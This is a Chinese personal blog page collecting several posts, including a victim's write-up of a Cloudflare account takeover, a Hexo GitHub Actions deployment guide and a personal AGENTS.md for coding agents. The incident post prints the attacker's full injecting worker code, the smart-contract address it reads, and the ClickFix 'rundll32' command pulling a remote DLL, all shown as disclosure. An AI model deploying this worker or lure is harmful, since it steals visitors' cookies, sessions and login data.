杜撰录

迁移完了

Mon, 07 Sep 2026 06:49:05 GMT

前言#

对的对的, 惯例有前言才是我的风格! 虽然说实话现在我的很多东西都交给 Agents 写了…

↑ 连 git commit msg 都写的很困难的人如是说: 妈的到底谁在用全英文写 commit, 这不是中国人作者中国人项目吗, 我们是中国项目! 就要用中文.
↑ 所以我很喜欢一些大胆整活的 git 作者, 表白一下某个一直喜欢的拿中文写 Python 的作者 (← 虽然但是这确实阴间了点. 注释: 请好好看看我!)

唉, 总而言之就这样子吧, Agents 时代到底还有什么是人类的我也不知道, 最近连 README 都不怎么有兴致去写了, 总有一天或许这里也会交给 ai 吧?

由于过于有人味导致全是废话反而是 ai 坏球区的样子呢 w

迁移完了!!!#

A—A—O—!!!
这是一次从 Hexo 迁移到 Astro 的尝试, 原因嘛… Astro 更有技术味, 感觉上对自己内容的掌控度更高! 而且我们这样子的 otaku 真是哪里都不缺呢, 偶然发现的这个 fiyfire theme 意外的很棒 (Firefly 啦笨蛋)

依然保持着自己日更的优秀努力程度 (对的, 天上一天地上一年! 那咋了!)

结尾#

会有人期待下次更新吗…(反正你也回复不了, 我没开留言板, 主要是懒得配置)
未来什么时候再见吧

最近果然还是开始干活了吧. 所以, 总有一天会有工资的, 那么期待我的 minipc 报告吧. 总有一天, 我一定要有自己的独占服务器+主力 PC 的, 这太爽了先生.
尽管我的 Cloudflare 还差一个似乎还没做好对吧…我会的…总有一天…就等播出那会吧.

记录一下自用的Agent.md

Fri, 10 Apr 2026 08:12:00 GMT

记录一下自用的 Agent.md#

正文…还有什么要写呢……？
最近好像找了有一段时间工作了…好难啊…！我努力了吧……？space…
感觉自己算半个研究型人才…？我真的特别热衷于收集、学习、讨论新内容，但是无论是让我工作还是去做实验都饶了我吧……

2030 会来吗…简历投了就有工作的时代，嘛…谁知道呢，只是本着每篇 blog 都要记录一下自己顺便硬控所有人一分钟的想法来写这些东西的

接下来就是正文吧……

正文#

（嗯是的这是正文部分）
话说回来，咒术 12 集挺好看…，虽然我不太喜欢乙骨，但马趴画的确实很不错啊，想你了…一拳 vs 波罗斯……
但…很怪，总感觉不该是这样的，真正的高魔世界…好想构建出来啊，一切的一切都要用魔法重新编辑

怎么说呢，我对现在的二次元魔法很不满！不愉快哒！
明明有制冷魔法，却说没法保鲜，明明注意到了魔法可以保鲜，结果硬套三次元的冰箱……

大伙听说过两个黑箱的故事吗？如果黑箱 A 和黑箱 B 对于任何输入都能给出相同输出，实际上即使他们不一样，也只能认为他们是一样的
所以你用所谓的魔力核心造个冰箱跟我们用电造冰箱到底有什么不一样啊 konoyaro……！！

真正的魔术时代的保鲜手段，就给我好好的重新想过啊！更多哒！更多不可思议一点！造一个不可思议的世界出来啊！就像中洲一样…
无论是随行的高魔力精灵女仆、容器默认保鲜、逆转魔法还是能够搞定腐败的小虫子，越有意思越好！多来点！多来点！！

唉…算了就这样吧，总有一天，我会可以写出来吗……好想再活好几十年，几百年也想要，难道是几千年吗…！让我都看看吧…人类的想象力。

附录#

Agent.md#

简单提一下效果（其实主要就是修复好 gpt 味，至于 workflow，每个人都不同吧不是吗）：

前	后	原因	修复
gpt 味	修好！	过度解释	原本是用禁止 xxx 的形式的，但是那天刷到一个人在研究如何正向约束而不是逆向，提醒了我，因此提示给 codex 用户是一个专家不需要你过度解释会好得多
过度确认	修好！且小任务会自己处理好	安全？	我不知道，总之涌现了（不是），实际上主要还是默许+要求他先做再验证再回复，而不是什么都要求许可
不可靠	修好！	其实性能没什么区别，不可靠主要是用词导致的，修好 gpt 味后就有 claude 味了（并不，好吧其实我觉得隔壁 claude 其实味也很重）

1
# AGENTS.md —— This file describes the user's preferences
2

3
## Global Workflow
4

5
### Skill Use
6
- `using-superpower` skill bonus: used only when coding tasks are involved, rather than having to be read at the start of each conversation
7

8
### Interaction
9
- Work step by step. Use your task/todo_create tool for complex work to show the step for user.
10
- Use it When after gathering enough information and before started any work.
11
- For any process changes, update the task first to provide the user with the latest information.
12

13
### Confirmation
14
- For most tasks, you can report back and get started without waiting for the user to confirm.
15
- Ask the user only if the context is obviously missing, there is an explicit ambiguity, or the task clearly requires user collaboration
16

17
### Non-Negotiables
18
- **Do not** skip verification when making any change.
19

20
### Common Paths
21
- Obsidian notes: `脱敏信息`
22
- Code projects: `脱敏信息`
23
- env path: `脱敏信息`. New environments such as Python/go/make must be installed under here
24

25
## Project Style
26

27
### Paths And Documentation
28
- All project docs go in `{project}/plandocs/`, which must be added to `.gitignore` if applicable.
29
- All experimental or temporary work goes in `{project}/tests/`, which must be added to `.gitignore` if applicable.
30
- **Never** write any actual paths or file names to code. Instead, use configuration files, separate test files, and so on
31

32
### Comment Style
33
- Complex functions should include comments explaining purpose and parameters.
34
- Complex code blocks should include comments explaining the block logic.
35
- Avoid line-by-line comments outside complex sections.
36

37
## Language style in repeat
38
- If the user doesn't explicitly mention *Teach me* or *Specify,* assume that user is a professional with sufficient context, and that your response should be accurate and free of redundancy.
39

40
### Examples of errors
41
**Avoid** these common redundant patterns:
42

43
| Patterns | Reason |
44
|---------|---------|
45
| *要不要我帮你…* / *如果你要…我可以…* | if it's strongly related to a task, do it instead of stopping to ask. If not, don't ask. |
46
| *给我…信息，我就完成…* | If work finished, stop and let the user decide next step; Otherwise, ask for information only after trying. |
47
| *顺手…* | It sounds like you're indicating that you're trying to do extra work that isn't authorized. Don't do it. |
48
| *不是…而是…* | Assume the user understands what you're saying rather than over-explaining. |

展开收起

记一次Cloudflare盗号

Mon, 23 Mar 2026 08:18:31 GMT

前言#

大家好——，又是好久不见的诈尸时刻了 x
在这个全世界都在用 AI 的时代坚持手写文字还是挺困难的（汗
尤其自己似乎越来越老登了，只有在自己的博客才能充分的中二…嗯！博客一旦被认识的人打开世界就要毁灭了
也就是所谓的人生终了吧！可喜可贺可喜可贺~

正题#

该进入正题啦！
记录一下这次的 Cloudflare 盗号时间

先简单过一遍时间线吧

时间	操作
2026-03-08	将 github Action 的部署转为 Cloudflare Pages
2026-03-14	未知用户登录创建恶意 worker
2026-03-23	登录博客中招，开始杀毒并排查问题
2026-03-23	排查完毕来写博客

有关如何切换到 Cloudflare Pages，可以继续阅读：我说 Cloudflare 神了。

总而言之我们先进入到这个木马是什么吧

有关木马#

参考 Anyrun 似乎怎么都比我好，在报告中被标记为 clickfix、钓鱼

注入方式#

具体而言是盗号去 Cloudflare（我也不知道我怎么被盗的…）创建一个恶意 worker：

拦截每一个 fetch() 请求，转而请求 https://bsc-testnet.drpc.org/（具体合约地址 0xa8f4e15d48e0d9fb20e57ed06ec2c71744640d2e)
按 Solidity ABI 的动态字符串格式解码返回结果
并透过 atob() 转为 JavaScript 代码注入到浏览器 body 前
最终会得到一个伪造的 recaptcha：

notrobot

robotverify

破坏方式#

具体而言会以下列的方式让用户中招：

伪造成 recaptcha
在你点击后，会将这条指令复制到你的粘贴板：rundll32.exe \\dev3field.nodalbufferpoint.in.net\verification.google,#1
1. 其中 dev3field.nodalbufferpoint.in.net 属于随机轮换域名
在你跟着他的指引运行后，就开始破坏操作了
1. 透过 rundll32 加载远端 UNC 路径的远程 dll（伪装成 verification.google）会直接映射到内存运行
2. 连接远程 BNB smart chain，也就是俗称的链上地址？会在链上读取一份智能合约的代码，tag：EtherHiding 技术
3. 使用 QueueUserAPC 注入到 msgedge.exe / chrome.exe 中，直接读取你的：
  1. Cookie & session storage（token）
  2. login / web data
4. 透过区块链外传到攻击者
5. 自我清理删除
根据 anyrun 报告，似乎会在一分钟内完成所有操作（最终记录 72731 ms）

中招与排查#

总而言之就是中招了啦（失落）
谁能想到代码完全自己写的页面，部署在 Github、Cloudflare 的网页还能中招呢，没有一点防备。
仔细想想的话…我没有搞过什么 captcha 啊！！

所以就只能排查了……
排查过程很简单也很清晰：

检查源码，确认 Github Action workflow 是否有异常 → 无
检查 DNS 是否被污染到其他镜像地址 → 无
更换设备，用手机访问确认是远端页面还是本地病毒 → 手机复现，远端病毒
至此确认：站点源码和部署过程没有任何问题 → 思考远端访问时被注入
挑战抓包，得到一份不在源码的奇怪代码 onclick="ym(99162160,'reachGoal','Click', ...)，绑定在额外的 Yandex Metrica → 确定客户端运行时被注入
检查 Cloudflare → 发现一个不认识的 worker：worker-odd-wood-45b9
最终排查成功！！

排查后修复与保险处理#

排查到问题了也就很好搞了：

直接删除了 worker 确认没有其他牵涉
修改 Cloudflare 密码和上游谷歌密码，并全部重置了所有 Cloudflare API
删除了浏览器所有浏览记录包括 cookie
完整全盘杀毒两次
由于浏览器没有存任何密码，使用的是 bitwarden，相对来说似乎要安全的多

附录#

顺便把 worker 源码贴出来吧，我要狠狠的裱起来痛批一万年！
想了下好像也没什么必要脱敏了，就这样丢出来吧，就算有有心人，做完了不也是把数据丢给别人吗…，嗯…大概

1
export default {
2
  async fetch(request, env, ctx) {
3
    let injectedScript = "";
4

5
    try {
6
      // 从链上合约读取一段字符串
7
      const readStringFromContract = async (contractAddress) => {
8
        const bytesToHex = (bytes) => {
9
          let hex = "0x";
10
          for (const b of bytes) {
11
            const part = b.toString(16);
12
            hex += part.length === 1 ? `0${part}` : part;
13
          }
14
          return hex;
15
        };
16

17
        const rpcResponse = await fetch("https://bsc-testnet.drpc.org/", {
18
          method: "POST",
19
          headers: {
20
            Accept: "application/json",
21
            "Content-Type": "application/json",
22
          },
23
          body: JSON.stringify({
24
            method: "eth_call",
25
            params: [
26
              {
27
                to: contractAddress,
28
                data: "0x6d4ce63c",
29
              },
30
              "latest",
31
            ],
32
            id: 97,
33
            jsonrpc: "2.0",
34
          }),
35
        });
36

37
        const hexResult = (await rpcResponse.json()).result.slice(2);
38
        const bytes = new Uint8Array(
39
          hexResult.match(/[\da-f]{2}/gi).map((x) => parseInt(x, 16))
40
        );
41

42
        // 按 ABI 动态字符串格式解码
43
        const offset = Number(bytesToHex(bytes.slice(0, 32)));
44
        const length = Number(bytesToHex(bytes.slice(32, 32 + offset)));
45

46
        return String.fromCharCode.apply(
47
          null,
48
          bytes.slice(32 + offset, 32 + offset + length)
49
        );
50
      };
51

52
      const encoded = await readStringFromContract(
53
        "0xa8f4e15d48e0d9fb20e57ed06ec2c71744640d2e"
54
      );
55

56
      // 合约返回的字符串还要再做一次 base64 解码
57
      injectedScript = atob(encoded);
58
    } catch {
59
      // 故意吞掉异常
60
    }
61

62
    const upstreamResponse = await fetch(request);
63

64
    // 没拿到脚本，或者不是 HTML，就直接放行
65
    if (
66
      !injectedScript ||
67
      !upstreamResponse.headers.get("Content-Type")?.includes("text/html")
68
    ) {
69
      return upstreamResponse;
70
    }
71

72
    // 注入到页面 body 结束前
73
    const html = (await upstreamResponse.text()).replace(
74
      "</body>",
75
      `\x3Cscript>${injectedScript}\x3C/script></body>`
76
    );
77

78
    return new Response(html, {
79
      status: upstreamResponse.status,
80
      statusText: upstreamResponse.statusText,
81
      headers: {
82
        ...upstreamResponse.headers,
83
        "Content-Type": "text/html;charset=UTF-8",
84
        "Content-Length": html.length.toString(),
85
      },
86
    });
87
  },
88
};

展开收起

我说Cloudflare神了

Sun, 22 Mar 2026 08:18:31 GMT

前言#

呀吼——，其实是为了配合 Cloudflare 盗号补的一篇

不过先让我放着吧……我好懒啊…体谅体谅
未来…会更新好的！memomemo！

透过 Github Action 自动部署 Hexo 博客

Mon, 26 Jan 2026 12:17:26 GMT

嘛…结果兜兜转转还是回到 Action 来了…最近经历的事情真多啊，这里依然是我的私人小空间 ww
总而言之先把该有的内容写好！

步骤#

1. 创建仓库 Repo#

私人库 A，设置为 Private，这就是工程博客仓库
公开库 B，设置为 Public，用于 Github Pages 发布（你有 Github Pro 可以在 private 状态下发布）

2. 设置公私钥#

执行命令获得一对 ssh-key：

Terminal window

1
ssh-keygen -t rsa -b 4096 -C "hexo-deploy" -f hexo_deploy_key

填写全部默认 enter 就行
此时你的根目录应该拥有 hexo-deploy_key 以及 hexo-deploy_key.pub
设置公钥
1. 进入 Github 公开库 B（通常为博客的 xxx.github.io)，settings → Deploy keys → Add deploy key
2. 填写 hexo_deploy_key.pub 中的内容（title 项随意）
3. 记得勾选 Allow write access
设置私钥
1. 进入 Github 私人库 A，settings → Secrets and variables → New repository secret
2. 填写 hexo_deploy_key 的内容（Name 项随意）

3. 配置 Github Action#

创建文件 .github/workflows/deploy.yml（若文件夹缺失则创建补全）

填写以下内容:

1
name: Hexo Deploy
2

3
on:
4
  push:
5
    branches:
6
      - main # 或者是 master，取决于你的默认分支名
7

8
jobs:
9
  build:
10
    runs-on: ubuntu-latest
11

12
    steps:
13
      - name: Checkout source
14
        uses: actions/checkout@v3
15
        with:
16
          # 如果你的主题是作为 git submodule 存在的，需要开启这个
17
          # 具体取决于你的主题文件夹内是否存在.git文件夹，推荐删掉.git后false掉，以免莫名其妙的特性
18
          submodules: false
19

20
      - name: Setup Node.js
21
        uses: actions/setup-node@v3
22
        with:
23
          node-version: "24" # Node版本，目前24是LTS
24
          cache: "npm"
25

26
      - name: Install dependencies
27
        run: npm install
28

29
      - name: Build Hexo
30
        run: npx hexo generate
31

32
      - name: Deploy to GitHub Pages
33
        uses: peaceiris/actions-gh-pages@v3
34
        with:
35
          deploy_key: ${{ secrets.HEXO_DEPLOY_PRI }} # 这里对应你在私有仓库设置的 Secret 名字
36
          external_repository: username/username.github.io # 修改为你接收静态页面的公有仓库: 用户名/仓库名
37
          publish_branch: main # 公开库B的branch，取决于你是main还是master
38
          publish_dir: ./public # 将./public文件夹推送过去，一般不用管
39
          commit_message: ${{ github.event.head_commit.message }}
40
          user_name: "github-actions[bot]"
41
          user_email: "github-actions[bot]@users.noreply.github.com"

展开收起

接下来随便 hexo new 一个 Pages 什么的，用 git 推送过去就可以享受自动更新了！

后记#

结果也确实有段时间没碰博客了嘛……（其实很久很久…）
总而言之我回来诈尸一下，未来或许会有点 oc 内容呢？谁知道呢

部署Github Page的错误解决

Fri, 13 Sep 2024 23:48:47 GMT

前言#

结果没想到 hw 外的第一个 post 还是博客的问题 x

问题#

配置 Custom Domain：Your site’s DNS settings are using a custom subdomain, DOMAIN.com, that is not set up with a correct CNAME record. We recommend you change this to a CNAME record pointing to YOURNAME.github.io. For more information, see documentation (InvalidCNAMEError).
在 1 解决后：Domain does not resolve to the GitHub Pages server. For more information, see documentation (NotServedByPagesError).
**在 2 解决后：**无法访问页面：ERR_CONNECTION_CLOSED

处理#

试了一下，发现是 CNAME 文件的问题（仓库根目录中 github 会自己新建的一个文件）
简单来说就是 Custom Domain: www.DOMAIN.com -> DOMAIN.com
另: 我使用的 Cloudflare 当时的 DNS 解析 (内容的 IP 跟我就行)
IP 来源：
Terminal window
```
1
ping YourName.github.io
```
类型名称内容
A @ 185.199.108.153
A @ 185.199.109.153
A @ 185.199.110.153
A @ 185.199.111.153
CNAME www YOURNAME.github.io
干等，DNS 似乎需要一定的生效时间，如果你配置跟我一样那么按理说是没有问题了
1. 顺带一提：Enforce HTTPS 也是干等，不过我验证成功的一瞬间就可以点了
我在 Github Action 中 Re-run All Jobs 了一次，但似乎并不需要，总之干等，一切都会好起来的

类型	名称	内容
A	@	185.199.108.153
A	@	185.199.109.153
A	@	185.199.110.153
A	@	185.199.111.153
CNAME	www	YOURNAME.github.io

Hello World

Thu, 12 Sep 2024 23:48:47 GMT

你好哦~#

一切似乎从这里又一次开始了
现在时间是 2024/9/13 6：50
果然不管说什么都该睡觉了吧？

话说这个域名真的想要很久了 w

杜撰录

迁移完了

前言#

迁移完了!!!#

相关的技术汇报#

结尾#

记录一下自用的Agent.md

记录一下自用的 Agent.md#

正文#

附录#

Agent.md#

记一次Cloudflare盗号

前言#

正题#

有关木马#

注入方式#

破坏方式#

中招与排查#

排查后修复与保险处理#

附录#

我说Cloudflare神了

前言#

透过 Github Action 自动部署 Hexo 博客

步骤#

1. 创建仓库 Repo#

2. 设置公私钥#

3. 配置 Github Action#

后记#

部署Github Page的错误解决

前言#

问题#

处理#

Hello World

你好哦~#